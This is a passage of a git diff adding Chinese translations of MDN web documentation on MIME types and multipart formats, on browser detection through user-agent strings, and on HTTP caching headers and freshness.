<td>采用WebM视频文件格式的音视频文件。VP8 和 VP9是其最常用的视频解码器。Vorbis 和 Opus 是其最常用的音频解码器。 </td> + </tr> + <tr> + <td><code>audio/ogg</code></td> + <td>采用OGG多媒体文件格式的音频文件。 Vorbis 是这个多媒体文件格式最常用的音频解码器。</td> + </tr> + <tr> + <td><code>video/ogg</code></td> + <td>采用OGG多媒体文件格式的音视频文件。常用的视频解码器是 Theora;音频解码器为Vorbis 。</td> + </tr> + <tr> + <td><code>application/ogg</code></td> + <td>采用OGG多媒体文件格式的音视频文件。常用的视频解码器是 Theora;音频解码器为Vorbis 。</td> + </tr> + <tr> + <td><code>application/json</code></td> + <td>application/json (MIME_type)<br> + <a href="https://en.wikipedia.org/wiki/Media_type#Common_examples">https://en.wikipedia.org/wiki/Media_type#Common_examples</a><br> + <a href="https://www.iana.org/assignments/media-types/application/json">https://www.iana.org/assignments/media-types/application/json</a></td> + </tr> + </tbody> +</table> + +<h3 id="multipartform-data">multipart/form-data</h3> + +<p><code>multipart/form-data</code> 可用于<a href="/en-US/docs/Web/Guide/HTML/Forms">HTML表单</a>从浏览器发送信息给服务器。作为多部分文档格式,它由边界线(一个由<code>'--'</code>开始的字符串)划分出的不同部分组成。每一部分有自己的实体,以及自己的 HTTP 请求头,{{HTTPHeader("Content-Disposition")}}和 {{HTTPHeader("Content-Type")}} 用于文件上传领域,最常用的 ({{HTTPHeader("Content-Length")}} 因为边界线作为分隔符而被忽略)。</p> + +<pre class="syntaxbox notranslate">Content-Type: multipart/form-data; boundary=aBoundaryString +(other headers associated with the multipart document as a whole) + +--aBoundaryString +Content-Disposition: form-data; name="myFile"; filename="img.jpg" +Content-Type: image/jpeg + +(data) +--aBoundaryString +Content-Disposition: form-data; name="myField" + +(data) +--aBoundaryString +(more subparts) +--aBoundaryString-- + +</pre> + +<p>如下所示的表单:</p> + +<pre class="brush: html notranslate"><form action="http://localhost:8000/" method="post" enctype="multipart/form-data"> + <input type="text" name="myTextField"> + <input type="checkbox" name="myCheckBox">Check</input> + <input type="file" name="myFile"> + <button>Send the file</button> +</form></pre> + +<p>会发送这样的请求:</p> + +<pre class="notranslate">POST / HTTP/1.1 +Host: localhost:8000 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Connection: keep-alive +Upgrade-Insecure-Requests: 1 +Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498 +Content-Length: 465 + +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myTextField" + +Test +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myCheckBox" + +on +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myFile"; filename="test.txt" +Content-Type: text/plain + +Simple file. +-----------------------------8721656041911415653955004498-- + +</pre> + +<h3 id="multipartbyteranges">multipart/byteranges</h3> + +<p><code>multipart/byteranges</code> 用于把部分的响应报文发送回浏览器。当发送状态码{{HTTPStatus("206")}}<code>Partial Content</code> 时,这个MIME类型用于指出这个文件由若干部分组成,每一个都有其请求范围。就像其他很多类型{{HTTPHeader("Content-Type")}}使用分隔符来制定分界线。每一个不同的部分都有{{HTTPHeader("Content-Type")}}这样的HTTP头来说明文件的实际类型,以及 {{HTTPHeader("Content-Range")}}来说明其范围。</p> + +<pre class="notranslate"><code>HTTP/1.1 206 Partial Content +Accept-Ranges: bytes +Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 +Content-Length: 385 + +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 100-200/1270 + +eta http-equiv="Content-type" content="text/html; charset=utf-8" /> + <meta name="vieport" content +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 300-400/1270 + +-color: #f0f0f2; + margin: 0; + padding: 0; + font-family: "Open Sans", "Helvetica +--3d6b6a416f9b5--</code></pre> + +<h2 id="设置正确的MIME类型的重要性">设置正确的MIME类型的重要性</h2> + +<p>很多web服务器使用默认的 <code>application/octet-stream</code> 来发送未知类型。出于一些安全原因,对于这些资源浏览器不允许设置一些自定义默认操作,导致用户必须存储到本地以使用。常见的导致服务器配置错误的文件类型如下所示:</p> + +<ul> + <li> + <p>RAR编码文件。在这种情况,理想状态是,设置真实的编码文件类型;但这通常不可能(可能是服务器所未知的类型或者这个文件包含许多其他的不同的文件类型)。这这种情况服务器将发送 <code>application/x-rar-compressed</code> 作为MIME类型,用户不会将其定义为有用的默认操作。</p> + </li> + <li> + <p>音频或视频文件。只有正确设置了MIME类型的文件才能被 {{ HTMLElement("video") }} 或{{ HTMLElement("audio") }} 识别和播放。 可参照 <a href="https://developer.mozilla.org/En/Media_formats_supported_by_the_audio_and_video_elements">use the correct type for audio and video</a>。</p> + </li> + <li> + <p>专有文件类型。是专有文件时需要特别注意。使用 <code>application/octet-stream</code> 作为特殊处理是不被允许的:对于一般的MIME类型浏览器不允许定义默认行为(比如“在Word中打开”)</p> + </li> +</ul> + +<h2 id="MIME_嗅探">MIME 嗅探</h2> + +<p>在缺失 MIME 类型或客户端认为文件设置了错误的 MIME 类型时,浏览器可能会通过查看资源来进行MIME嗅探。每一个浏览器在不同的情况下会执行不同的操作。因为这个操作会有一些安全问题,有的 MIME 类型表示可执行内容而有些是不可执行内容。浏览器可以通过请求头 {{HTTPHeader("Content-Type")}} 来设置 {{HTTPHeader("X-Content-Type-Options")}} 以阻止MIME嗅探。</p> + +<h2 id="其他传送文件类型的方法">其他传送文件类型的方法</h2> + +<p>MIME类型不是传达文档类型信息的唯一方式:</p> + +<ul> + <li>有时会使用名称后缀,特别是在Microsoft Windows系统上。并非所有的操作系统都认为这些后缀是有意义的(特别是Linux和Mac OS),并且像外部MIME类型一样,不能保证它们是正确的。</li> + <li>魔术数字。不同类型的文件的语法通过查看结构来允许文件类型推断。例如,每个GIF文件以47 49 46 38十六进制值[GIF89]或89 50 4E 47 [.PNG]的PNG文件开头。 并非所有类型的文件都有幻数,所以这也不是100%可靠的方式。</li> +</ul> + +<h2 id="其他">其他</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">Properly configuring server MIME types</a></li> + <li> + <p><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Supported_media_formats">Media formats supported by the HTML audio and video elements</a></p> + </li> + <li> + <p><a href="https://www.iana.org/assignments/media-types/application/json">https://www.iana.org/assignments/media-types/application/json</a></p> + </li> +</ul> + +<p> {{HTTPSidebar}}</p> diff --git a/files/zh-cn/web/http/browser_detection_using_the_user_agent/index.html b/files/zh-cn/web/http/browser_detection_using_the_user_agent/index.html new file mode 100644 index 0000000000..d79da944c4 --- /dev/null +++ b/files/zh-cn/web/http/browser_detection_using_the_user_agent/index.html @@ -0,0 +1,243 @@ +--- +title: 使用用户代理字段进行浏览器检测 +slug: Web/HTTP/Browser_detection_using_the_user_agent +tags: + - Browser detection + - Browser detection using the user agent + - user agent +translation_of: Web/HTTP/Browser_detection_using_the_user_agent +--- +<div>{{HTTPSidebar}}</div> + +<div> </div> + +<div>为不同浏览器提供不同的网页或服务通常是一个坏主意。互联网的本意是让任何人都可以访问,无论他们使用哪个浏览器或设备。有一些方法可以根据功能的可用性而不是针对特定的浏览器来开发您的网站以逐步增强自身。</div> + +<div> </div> + +<p> 但浏览器和标准并不完美,仍然需要检测浏览器的一些边缘情况。使用用户代理检测浏览器看起来很简单,但是做得很好,实际上是一个非常困难的问题。本文档将指导您尽可能正确地进行此操作。</p> + +<div class="note"> +<p>值得重申的是:使用用户代理嗅探很少会成为一个好主意。你几乎总能发现一个更好的、更广泛兼容的方式来解决你的问题。</p> +</div> + +<h2 id="在使用浏览器检测之前需要考虑的一些事情">在使用浏览器检测之前需要考虑的一些事情</h2> + +<p> 当你考虑使用用户代理字段来检测用户正在使用哪种浏览器的时候,第一步是试着回避它。从想明白你<strong>为什么</strong>要这样做开始。</p> + +<dl> + <dt>你正尝试解决某个浏览器的某个版本中的一个特定错误吗?</dt> + <dd>在专业论坛中查找、询问:你不太可能是第一个遇到这个问题的人。 你也可以询问专家,或者仅仅是那些和你持有不同观点的人们,他们能提供给你不同的思路。如果这个问题看上去是不常见的,你需要检查一下是否这个错误已经通过错误跟踪系统(<a class="link-https" href="https://bugzilla.mozilla.org">Mozilla</a>; <a class="external" href="http://bugs.webkit.org">WebKit</a>; <a class="link-https" href="https://bugs.opera.com/">Opera</a>)报告给浏览器厂商。浏览器开发商非常关注错误报告,相关的分析也可能会有其他解决方案的提示。</dd> + <dt>你正尝试检查某个特性是否可用吗?</dt> + <dd>你的站点需要使用一个特定的网页特性,然而有一些浏览器还不支持该特性,你想发给那些使用不支持该特性的浏览器的用户一个更老的网页,该网页有更少的特性,但是你知道他们将正常显示。这是最糟糕的使用用户代理检测的理由,因为有很大的概率最终其余的所有浏览器都将使用这个特性。你应该尽你最大努力在这种可能情况下阻止使用用户代理嗅探器,作为替代,使用功能检测器。</dd> + <dt>你想依据正在使用的是哪个浏览器来提供不同的HTML页面吗?</dt> + <dd>这通常是一个坏的做法,不过有些情况下这又是必要的。在这些情形下,你首先应该分析你所处的情形并确定这确实是必要的。你是否可以通过添加一些无语义的 {{ HTMLElement("div") }} 或者 {{ HTMLElement("span") }} 元素来避免呢?想成功使用用户代理检测是困难的,值得牺牲一些HTML的整洁性来换取。另外,也请重新思考一下你的设计:能否通过使用渐进增强或者流体布局来去除使用用户代理检测的需要呢?</dd> +</dl> + +<h2 id="避免进行用户代理检测">避免进行用户代理检测</h2> + +<p> 如果你想要尝试避免使用用户代理检测,在某些情形下有些可供选择的方法。</p> + +<dl> + <dt>功能检测</dt> + <dd>使用功能检测,你不需要弄清楚是哪种浏览器正在渲染你的页面,你只需要检测你需要的某个特定功能是否可用即可。如果该功能不可用,使用一个应变策略。然而,在某些罕见的情形下,你确实需要检测浏览器种类,由于其他浏览器也会在将来以不同方式实现这个功能,绝不要使用功能检测来判断。由此造成的错误将非常难发现和修复。</dd> + <dt>渐进增强</dt> + <dd>这种设计技术涉及了按照“层次”开发网页,使用自底向上的方法,从一个简单的层次开始,在一系列连续的层次中通过使用更多的功能来逐步提升站点的能力。</dd> + <dt>优雅降级</dt> + <dd>这是一种自顶向下的方式,在搭建可能最好的的站点时使用所有你想要的功能,然后稍微改进使其能在更老版本的浏览器上工作。与渐进增强的方法相比,这种方法可能更困难、效率更低,不过在一些情景下也许是有效的。</dd> +</dl> + +<h2 id="用户代理中的哪个部分包含你正在寻找的信息">用户代理中的哪个部分包含你正在寻找的信息</h2> + +<p> 由于用户代理字串的不同部分缺乏统一性,这是一个较难对付的问题。</p> + +<h3 id="浏览器名">浏览器名</h3> + +<p> 当人们说他们想要进行“浏览器检测”的时候,他们实际上经常想要进行的是“渲染引擎检测”。你实际上想要检测使用的是火狐(Firefox)还是与之对应的海猴(SeaMonkey),或者使用的是Chrome还是与之对应的Chromium?或者你实际上只不过想看浏览器是否正在使用Gecko还是WebKit渲染引擎?如果这正是你需要的,请参阅后面的部分。</p> + +<p> 除了IE浏览器这个显著的例外,大部分的浏览器以浏览器名/版本号的格式设置浏览器名和版本。但是由于浏览器名不是用户代理字符串中唯一一个以这种格式命名的信息,你不能发现浏览器名,你只能检测是否这是你正在寻找的名字。但是要注意到,一些浏览器在说谎:例如Chrome的用户代理字符串中既会包含Chrome又会包含Safari。所以为了检测Safari浏览器,你不得不检测其中是否有Safari字符串同时没有Chrome字符串,Chromium也经常汇报它自己是Chrome浏览器,海猴有时也汇报它自己是火狐浏览器。</p> + +<p> 也要注意不要对浏览器名使用简单的正则表达式,用户代理字符串中也包含不属于键值对形式的字符串。例如在Safari和Chrome中包含有“like Gecko”一样的字符串。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col"> </th> + <th scope="col">必须包含</th> + <th scope="col">禁止包含</th> + <th scope="col"> </th> + </tr> + </thead> + <tbody> + <tr> + <td>Firefox</td> + <td>Firefox/xyz</td> + <td>Seamonkey/xyz</td> + <td> </td> + </tr> + <tr> + <td>Seamonkey</td> + <td>Seamonkey/xyz</td> + <td> </td> + <td> </td> + </tr> + <tr> + <td>Chrome</td> + <td>Chrome/xyz</td> + <td>Chromium/xyz</td> + <td> </td> + </tr> + <tr> + <td>Chromium</td> + <td>Chromium/xyz</td> + <td> </td> + <td> </td> + </tr> + <tr> + <td>Safari</td> + <td>Safari/xyz</td> + <td>Chrome/xyz or Chromium/xyz</td> + <td>Safari 有两个版本号,一个技术性较强,格式是Safari/xyz,一个对用户友好一点,格式是Version/xyz</td> + </tr> + <tr> + <td>Opera</td> + <td> + <p>OPR/xyz <sup>[1]</sup></p> + + <p>Opera/xyz <sup>[2]</sup></p> + </td> + <td> </td> + <td> + <p><sup>[1]</sup> Opera 15+ (基于Blink的引擎) </p> + + <p><sup>[2]</sup> Opera 12- (基于Presto的引擎)</p> + </td> + </tr> + <tr> + <td>Internet Explorer</td> + <td>; MSIE xyz;</td> + <td> </td> + <td>IE浏览器的名字并没有使用<em>BrowserName/VersionNumber</em>的格式</td> + </tr> + </tbody> +</table> + +<p> 当然,这里并没有保证其它浏览器不劫持上述字符串(像在过去,Chrome劫持了Safari的字符串)。这就是为什么使用用户代理字段进行浏览器检测是不可信的,并且做这个检测也仅仅应该是为了检测版本号(劫持过去的版本号这种事情很少发生)。</p> + +<h3 id="浏览器版本">浏览器版本</h3> + +<p> 浏览器版本号通常但并不总是出现在用户代理字符串的<em>浏览器名/版本号</em>记号的值的位置。IE浏览器(该浏览器放置版本号刚好在MSIE记号之后)以及在版本10之后的Opera(新增了版本/版本号标记)就是例子。</p> + +<p> 此处再一次强调,由于并没有保证其它标记会包含有效的数字,请确保选取你正在寻找的浏览器的正确的标记。</p> + +<h3 id="渲染引擎">渲染引擎</h3> + +<p> 正如早先提及到的,在大多数情况下,寻找渲染引擎是一个更好的方式。这将有助于保留鲜为人知的浏览器。使用共同的渲染引擎的浏览器将以相同的方式显示页面:这经常是一个公平的假设:一处有效,处处有效。</p> + +<p> 现在市面上有5个主流的渲染引擎:Trident,Gecko,Presto,Blink和WebKit。由于嗅探渲染引擎名是很普遍的,大量的用户代理在其字段中增加其它的渲染引擎名来触发检测。因此当检测渲染引擎的时候,一件很重要的事情,就是要避免“假阳性”(注:false-positives,指一个特性可通过检测,但实际在该浏览器下并不可靠或不可用)情况的发生。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col"> </th> + <th scope="col">必须包含</th> + <th scope="col"> </th> + </tr> + </thead> + <tbody> + <tr> + <td>Gecko</td> + <td>Gecko/xyz</td> + <td> </td> + </tr> + <tr> + <td>WebKit</td> + <td>AppleWebKit/xyz</td> + <td>请注意,WebKit浏览器包含了'like Gecko'字符串,如果不加以注意,可能会触发检测Gecko的false positive。</td> + </tr> + <tr> + <td>Presto</td> + <td>Opera/xyz</td> + <td><strong>注:</strong> 在Opera浏览器在15及以上的版本中,已经不再使用Presto(参见'Blink')。</td> + </tr> + <tr> + <td>Trident</td> + <td>Trident/xyz</td> + <td>IE浏览器将此字符串放在User Agent字符串的<em>注释</em>部分。</td> + </tr> + <tr> + <td>Blink</td> + <td>Chrome/xyz</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="渲染引擎版本">渲染引擎版本</h2> + +<p> 除了Gecko这个显著的例外,大部分的渲染引擎将版本号放置在渲染引擎/版本号标记中。 该引擎将Gecko版本号放置在用户代理的注释部分,在rv字符串之后。在手机版Gecko14以及桌面版Gecko17之后,该引擎也在Gecko/version标记处放置版本号的值(先前的版本中此处放置的是构建日期,然后固定的日期调用GeckoTrail)。</p> + +<h2 id="操作系统">操作系统</h2> + +<p> 大多数的用户代理字符串也给出了用户使用的操作系统(尽管像Firefox OS这样的网络为中心的操作系统没有给出),但是给出的形式却多种多样。在用户代理的注释部分以夹在两个分号之间的固定字符串形式给出。对于每一个浏览器,这些字符串是特定的。这些字符串在显示操作系统的同时,也经常显示它的版本和其依赖的硬件信息(32位还是64位,或者是Mac平台的intel/PPC).</p> + +<p> 正如所有情形一样,这些字符串在将来也可能会改变,我们应该仅仅与已经发布的浏览器一起使用它们。当新的浏览器版本发布的时候,一份修改脚本以适应新版本的技术调查必须出现。</p> + +<h3 id="手机,平板或者台式电脑">手机,平板或者台式电脑</h3> + +<p> 执行用户代理嗅探的一个最普遍的原因是查明浏览器是在何种硬件设备上运行的。而这么做的目的是对不同类型的设备提供不同的HTML页面。</p> + +<ul> + <li>从不要假设一款浏览器或者一种渲染引擎仅仅运行在一种类型的设备上。特别是不要对不同种类的浏览器或者渲染引擎采用不同的默认值。</li> + <li>从不要使用OS标记来定义是否该浏览器运行在手机、平板或者桌面机上。同一种操作系统也许也运行在不止一种类型的设备上(例如,Android既能在平板上运行也能在手机上运行)。</li> +</ul> + +<p>下面这张表格总结了主要浏览器开发商声明他们的浏览器运行在手机设备上的方式:</p> + +<table> + <caption>主流浏览器用户代理字符串</caption> + <thead> + <tr> + <th scope="col">浏览器</th> + <th scope="col">规则</th> + <th scope="col">示例</th> + </tr> + </thead> + <tbody> + <tr> + <td>Mozilla (Gecko, Firefox)</td> + <td>注释中的 <a href="/en-US/docs/Gecko_user_agent_string_reference"><strong>Mobile或</strong><strong>Tablet标记</strong></a></td> + <td>Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0</td> + </tr> + <tr> + <td>WebKit-based (Android, Safari)</td> + <td>注释外的<a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3"><strong>Mobile Safari标记</strong></a></td> + <td>Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30</td> + </tr> + <tr> + <td>Blink-based (Chromium, Google Chrome, Opera 15+)</td> + <td>注释外的<a href="https://developers.google.com/chrome/mobile/docs/user-agent"><strong>Mobile Safari标记</strong></a></td> + <td>Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047</td> + </tr> + <tr> + <td>Presto-based (Opera 12-)</td> + <td> + <p>注释中的<a href="http://my.opera.com/community/openweb/idopera/"><strong>Opera Mobi/xyz标记</strong></a>(Opera 12-)</p> + </td> + <td> + <p>Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50</p> + </td> + </tr> + <tr> + <td>Internet Explorer</td> + <td>注释中的<strong>IEMobile/xyz标记</strong></td> + <td>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</td> + </tr> + </tbody> +</table> + +<p>总之,我们建议检测移动设备的时候,在用户代理字符串中寻找“Mobi”字符串。</p> + +<div class="note"> +<p>如果设备屏幕足够大,它就不会被用“Mobi”标记,你应该提供给用户你的桌面版网页(由于越来越多的桌面设备开始配有触摸屏,作为一个最佳体验,不管怎样,应该在该网页中提供触碰输入)</p> +</div> diff --git a/files/zh-cn/web/http/caching_faq/index.html b/files/zh-cn/web/http/caching_faq/index.html new file mode 100644 index 0000000000..3bf85cb945 --- /dev/null +++ b/files/zh-cn/web/http/caching_faq/index.html @@ -0,0 +1,163 @@ +--- +title: HTTP 缓存 +slug: Web/HTTP/Caching_FAQ +tags: + - Cache-Control + - ETag + - Expires + - HTTP + - HTTP Cache + - Last-Modified + - 协商缓存 + - 强缓存 + - 指南 + - 缓存 +translation_of: Web/HTTP/Caching +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">通过复用以前获取的资源,可以显著提高网站和应用程序的性能。Web 缓存减少了等待时间和网络流量,因此减少了显示资源表示形式所需的时间。通过使用 HTTP缓存,变得更加响应性。</p> + +<h2 id="不同种类的缓存">不同种类的缓存</h2> + +<p>缓存是一种保存资源副本并在下次请求时直接使用该副本的技术。当 web 缓存发现请求的资源已经被存储,它会拦截请求,返回该资源的拷贝,而不会去源服务器重新下载。这样带来的好处有:缓解服务器端压力,提升性能(获取资源的耗时更短了)。对于网站来说,缓存是达到高性能的重要组成部分。缓存需要合理配置,因为并不是所有资源都是永久不变的:重要的是对一个资源的缓存应截止到其下一次发生改变(即不能缓存过期的资源)。</p> + +<p>缓存的种类有很多,其大致可归为两类:私有与共享缓存。共享缓存存储的响应能够被多个用户使用。私有缓存只能用于单独用户。本文将主要介绍浏览器与代理缓存,除此之外还有网关缓存、CDN、反向代理缓存和负载均衡器等部署在服务器上的缓存方式,为站点和 web 应用提供更好的稳定性、性能和扩展性。</p> + +<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p> + +<h3 id="私有浏览器缓存">(私有)浏览器缓存</h3> + +<p>私有缓存只能用于单独用户。你可能已经见过浏览器设置中的“缓存”选项。浏览器缓存拥有用户通过 <a href="/en-US/docs/Web/HTTP" title="en/HTTP">HTTP</a> 下载的所有文档。这些缓存为浏览过的文档提供向后/向前导航,保存网页,查看源码等功能,可以避免再次向服务器发起多余的请求。它同样可以提供缓存内容的离线浏览。</p> + +<h3 id="共享代理缓存">(共享)代理缓存</h3> + +<p>共享缓存可以被多个用户使用。例如,ISP 或你所在的公司可能会架设一个 web 代理来作为本地网络基础的一部分提供给用户。这样热门的资源就会被重复使用,减少网络拥堵与延迟。</p> + +<h2 id="缓存操作的目标">缓存操作的目标</h2> + +<p>虽然 HTTP 缓存不是必须的,但重用缓存的资源通常是必要的。然而常见的 HTTP 缓存只能存储 {{HTTPMethod("GET")}} 响应,对于其他类型的响应则无能为力。缓存的关键主要包括request method和目标URI(一般只有GET请求才会被缓存)。 普遍的缓存案例:</p> + +<ul> + <li>一个检索请求的成功响应: 对于 {{HTTPMethod("GET")}}请求,响应状态码为:{{HTTPStatus(200)}},则表示为成功。一个包含例如HTML文档,图片,或者文件的响应。</li> + <li>永久重定向: 响应状态码:{{HTTPStatus(301)}}。</li> + <li>错误响应: 响应状态码:{{HTTPStatus(404)}} 的一个页面。</li> + <li>不完全的响应: 响应状态码 {{HTTPStatus(206)}},只返回局部的信息。</li> + <li>除了 {{HTTPMethod("GET")}} 请求外,如果匹配到作为一个已被定义的cache键名的响应。</li> +</ul> + +<p>针对一些特定的请求,也可以通过关键字区分多个存储的不同响应以组成缓存的内容。具体参考<a href="#varying responses">下文</a>关于 {{HTTPHeader("Vary")}} 的信息。</p> + +<h2 id="缓存控制">缓存控制</h2> + +<h3 id="Cache-control_头"><code>Cache-control</code> 头</h3> + +<p><strong>HTTP/1.1</strong>定义的 {{HTTPHeader("Cache-Control")}} 头用来区分对缓存机制的支持情况, 请求头和响应头都支持这个属性。通过它提供的不同的值来定义缓存策略。</p> + +<h4 id="没有缓存">没有缓存</h4> + +<p>缓存中不得存储任何关于客户端请求和服务端响应的内容。每次由客户端发起的请求都会下载完整的响应内容。</p> + +<pre class="line-numbers language-html notranslate"><code class="language-html">Cache-Control: no-store</code></pre> + +<h4 id="缓存但重新验证">缓存但重新验证</h4> + +<p>如下头部定义,此方式下,每次有请求发出时,缓存会将此请求发到服务器(译者注:该请求应该会带有与本地缓存相关的验证字段),服务器端会验证请求中所描述的缓存是否过期,若未过期(注:实际就是返回304),则缓存才使用本地缓存副本。</p> + +<pre class="line-numbers language-html notranslate"><code class="language-html">Cache-Control: no-cache</code></pre> + +<h4 id="私有和公共缓存">私有和公共缓存</h4> + +<p>"public" 指令表示该响应可以被任何中间人(译者注:比如中间代理、CDN等)缓存。若指定了"public",则一些通常不被中间人缓存的页面(译者注:因为默认是private)(比如 带有HTTP验证信息(帐号密码)的页面 或 某些特定状态码的页面),将会被其缓存。</p> + +<p>而 "private" 则表示该响应是专用于某单个用户的,中间人不能缓存此响应,该响应只能应用于浏览器私有缓存中。</p> + +<pre class="line-numbers language-html notranslate"><code class="language-html">Cache-Control: private +Cache-Control: public</code></pre> + +<h4 id="过期">过期</h4> + +<p>过期机制中,最重要的指令是 "<code>max-age=<seconds></code>",表示资源能够被缓存(保持新鲜)的最大时间。相对<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Expires">Expires</a>而言,max-age是距离请求发起的时间的秒数。针对应用中那些不会改变的文件,通常可以手动设置一定的时长以保证缓存有效,例如图片、css、js等静态资源。</p> + +<p>详情看下文关于<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Caching_FAQ#Freshness">缓存有效性</a>的内容。</p> + +<pre class="line-numbers language-html notranslate"><code class="language-html">Cache-Control: max-age=31536000</code></pre> + +<h4 id="验证方式">验证方式</h4> + +<p>当使用了 "<code>must-revalidate</code>" 指令,那就意味着缓存在考虑使用一个陈旧的资源时,必须先验证它的状态,已过期的缓存将不被使用。详情看下文关于<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Caching_FAQ#Cache_validation">缓存校验</a>的内容。</p> + +<pre class="line-numbers language-html notranslate"><code class="language-html">Cache-Control: must-revalidate</code></pre> + +<h3 id="Pragma_头"><code>Pragma</code> 头</h3> + +<p>{{HTTPHeader("Pragma")}} 是<strong>HTTP/1.0</strong>标准中定义的一个header属性,请求中包含Pragma的效果跟在头信息中定义Cache-Control: no-cache相同,但是HTTP的响应头没有明确定义这个属性,所以它不能拿来完全替代HTTP/1.1中定义的Cache-control头。通常定义Pragma以向后兼容基于HTTP/1.0的客户端。</p> + +<h2 id="新鲜度">新鲜度</h2> + +<p>理论上来讲,当一个资源被缓存存储后,该资源应该可以被永久存储在缓存中。由于缓存只有有限的空间用于存储资源副本,所以缓存会定期地将一些副本删除,这个过程叫做缓存驱逐。另一方面,当服务器上面的资源进行了更新,那么缓存中的对应资源也应该被更新,由于HTTP是C/S模式的协议,服务器更新一个资源时,不可能直接通知客户端更新缓存,所以双方必须为该资源约定一个过期时间,在该过期时间之前,该资源(缓存副本)就是新鲜的,当过了过期时间后,该资源(缓存副本)则变为陈旧的<em>。</em>驱逐算法用于将陈旧的资源(缓存副本)替换为新鲜的,注意,一个陈旧的资源(缓存副本)是不会直接被清除或忽略的,当客户端发起一个请求时,缓存检索到已有一个对应的陈旧资源(缓存副本),则缓存会先将此请求附加一个<code><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/If-None-Match" title="The If-None-Match HTTP request header makes the request conditional. For GET and HEAD methods, the server will send back the requested resource, with a 200 status, only if doesn't have a ETag matching the given one. For other methods, the request will be processed only if the eventually existing resource's ETag doesn't match any of the values listed.">If-None-Match</a></code>头,然后发给目标服务器,以此来检查该资源副本是否是依然还是算新鲜的,若服务器返回了 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/304" title="The HTTP 304 Not Modified client redirection response code indicates that there is no need to retransmit the requested resources. It is an implicit redirection to a cached resource. This happens when the request method is safe, like a GET or a HEAD request, or when the request is conditional and uses a If-None-Match or a If-Modified-Since header."><code>304</code></a> (Not Modified)(该响应不会有带有实体信息),则表示此资源副本是新鲜的,这样一来,可以节省一些带宽。若服务器通过 If-None-Match 或 If-Modified-Since判断后发现已过期,那么会带有该资源的实体内容返回。</p> + +<p>下面是上述缓存处理过程的一个图示:</p> + +<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p> + +<p>对于含有特定头信息的请求,会去计算缓存寿命。比如<code>Cache-control: max-age=N</code>的头,相应的缓存的寿命就是<code>N</code>。通常情况下,对于不含这个属性的请求则会去查看是否包含<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Expires">Expires</a>属性,通过比较Expires的值和头里面<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Date">Date</a>属性的值来判断是否缓存还有效。如果max-age和expires属性都没有,找找头里的<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Last-Modified">Last-Modified</a>信息。如果有,缓存的寿命就等于头里面Date的值减去Last-Modified的值除以10(注:根据rfc2626其实也就是乘以10%)。</p> + +<p>缓存失效时间计算公式如下:</p> + +<pre class="notranslate"><code>expirationTime = responseTime + freshnessLifetime - currentAge</code></pre> + +<p>上式中,<code>responseTime</code> 表示浏览器接收到此响应的那个时间点。</p> + +<h3 id="改进资源">改进资源</h3> + +<p>我们使用缓存的资源越多,网站的响应能力和性能就会越好。为了优化缓存,过期时间设置得尽量长是一种很好的策略。对于定期或者频繁更新的资源,这么做是比较稳妥的,但是对于那些长期不更新的资源会有点问题。这些固定的资源在一定时间内受益于这种长期保持的缓存策略,但一旦要更新就会很困难。特指网页上引入的一些js/css文件,当它们变动时需要尽快更新线上资源。</p> + +<p>web开发者发明了一种被 Steve Souders 称之为 <code>revving</code> 的技术<sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a> </sup>。不频繁更新的文件会使用特定的命名方式:在URL后面(通常是文件名后面)会加上版本号。加上版本号后的资源就被视作一个完全新的独立的资源,同时拥有一年甚至更长的缓存过期时长。但是这么做也存在一个弊端,所有引用这个资源的地方都需要更新链接。web开发者们通常会采用自动化构建工具在实际工作中完成这些琐碎的工作。当低频更新的资源(js/css)变动了,只用在高频变动的资源文件(html)里做入口的改动。</p> + 